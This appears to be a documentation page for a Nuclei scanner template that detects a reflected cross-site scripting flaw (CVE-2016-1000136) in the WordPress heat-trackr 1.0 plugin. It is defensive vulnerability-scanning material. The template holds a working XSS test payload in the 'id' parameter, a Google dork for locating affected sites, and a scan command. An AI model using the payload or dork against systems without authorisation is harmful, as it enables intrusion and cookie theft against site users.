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WordPress heat-trackr 1.0 - Cross-Site Scripting

ID: CVE-2016-1000136

Severity: medium

Author: daffainfo

Tags: cve2016,cve,wordpress,xss,wp-plugin,heat-trackr_project

Description

Section titled “Description”

WordPress heat-trackr 1.0 contains a cross-site scripting vulnerability via heat-trackr_abtest_add.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2016-1000136


info:
  name: WordPress heat-trackr 1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress heat-trackr 1.0 contains a cross-site scripting vulnerability via heat-trackr_abtest_add.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  remediation: |
    Upgrade to the latest version of WordPress heat-trackr or apply the provided patch to fix the XSS vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=798
    - https://wordpress.org/plugins/heat-trackr
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000136
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000136
    cwe-id: CWE-79
    epss-score: 0.00119
    epss-percentile: 0.46028
    cpe: cpe:2.3:a:heat-trackr_project:heat-trackr:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "heat-trackr_project"
    product: "heat-trackr"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/heat-trackr\""
  tags: cve2016,cve,wordpress,xss,wp-plugin,heat-trackr_project
flow: http(1) && http(2)


http:
  - method: GET
    path:
      - "{{BaseURL}}"


    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/heat-trackr/'


  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/heat-trackr/heat-trackr_abtest_add.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-1000136.yaml"

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